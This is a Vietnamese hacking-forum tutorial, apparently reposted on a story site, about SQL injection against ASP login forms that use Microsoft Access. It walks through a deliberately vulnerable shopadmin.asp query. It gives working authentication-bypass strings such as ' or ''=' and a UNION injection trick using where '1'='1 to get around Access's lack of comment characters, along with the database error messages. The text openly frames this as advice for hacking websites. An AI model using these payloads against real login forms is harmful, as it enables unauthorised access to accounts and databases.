Anken - Access SQL injection - Y!m: This_Love_No1
Access SQL injection
Bài này lấy từ nhiều nguồn tổng hợp lại nên chẳng bít tác giả là ai , nói tóm lại là thank all, đặc biệt là lão gamma
Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là "Tại sao lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này
Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause. "
bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko có kí tự comment kiểu như '-' như trong MSSQL ,nếu có thì ko còn gì để nói ...mình thì chỉ có vài kinh nghiệm sơ sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban
Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái host tạm để test
Ok ...linktest
http://b.domaindlx.com/philips/asp/shopadmin.asp
code verify user+pass trong file shopadmin.asp là
username=request("Username")
userpassword=request("password")
if ucase(Username)<>"SUPPLIER" then
sql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'"
//hì,thực tế mình đã del 2 dòng code
Trích:
username=replace(username,"'","")
userpassword=replace(userpassword,"'","")
lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này
nếu bạn insert
Trích:
username:' or ''='
password:anything
thì ko được,nhưng nếu các bạn bypass như thế này
Trích:
username:anything
password:' or ''='
thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là
Trích:
sql = "select * from tbluser where fldusername='' or ''='' and fldpassword='anything'
do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thế
thì vế ''='' and fldpassword='anything' sẽ được thực thi trước và có chân trị là false
(do ''='' true but fldpassword='anything' false à qua phép and sẽ là false ) sau đó được or với query còn lại là
fldusername='' or false là false (do cái fldusername='' là false nên or 2 vế false ra false )
-->ko bypass được
còn trường hợp 2
Trích:
sql = "select * from tbluser where fldusername='anything' and fldpassword='' or ''=''
do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thế
vế fldusername='anything' and fldpassword='' sẽ thực thi trước và sẽ có giá trị false (do fldusername='anything' là false và fldpassword='' cũng false nốt,nhưng sau đó nó lại được or ''='' (''='' luôn đúng ) nên chân trị nguyên query này là true --> by pass
...phù vì thế trước giờ các bác đi by pass tòan là
Trích:
username :' or ''='
password :' or ''='
cho chắc cú phảI ko nhể ??..hehe ,những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôi
Thôi,nãy giờ lan man wá,ko đi vào chủ đề chính
ok...bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau khi ij và submit thì nó ra cái này
Error Type:
Trích:
Microsoft JET Database Engine (0x80040E14)
Syntax error in string in query expression 'fldusername=''' and fldpassword='''.
/asp/shopadmin.asp, line 34
Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trên URL thì thường là ọc ra những column ko mong đơi chút nào )
Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao
Trích:
Username :' union select 1,1...1 from tbluser
Password :anything
Và nó ọc ra cái này đây
Trích:
Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause.
/asp/shopadmin.asp, line 34
TạI sao vậy ?câu query get được từ form là
sql = "select * from tbluser where fldusername='' union select 1,1.. from tbluser' and fldpassword='anything'
bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nó thêm vào nên câu query thật là vô nghĩa ,họặc nếu có thêm 'and 1=2 union select ...đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông báo
Trích:
Syntax error in FROM clause.
Ok...vậy thì chúng ta sẽ khắc phục như sau
Username :' union select 1 from tbluser where '1'='1
Password:anything
Mục đích thêm cái where '1'='1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn lạI vào where '1'='1' --> hòan tòan hợp lý phảI ko nào ??
Và query lúc này như sau:
Trích:
sql = "select * from tbluser where fldusername='' union select 1 from tbluser where '1'='1' and fldpassword='anything'
hì,1 cái error quen thuộc bắn ra
Trích:
Microsoft JET Database Engine (0x80040E14)
The number of columns in the two selected tables or queries of a union query do not match.
Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây
Xong ...nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thôi ,còn trên các URL thì sao ,có gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới
MọI Feedback xin post lên 4rum,xin đừng PM,mail v..v
Netsky(VNISS)
Bạn đang đọc truyện trên: AzTruyen.Top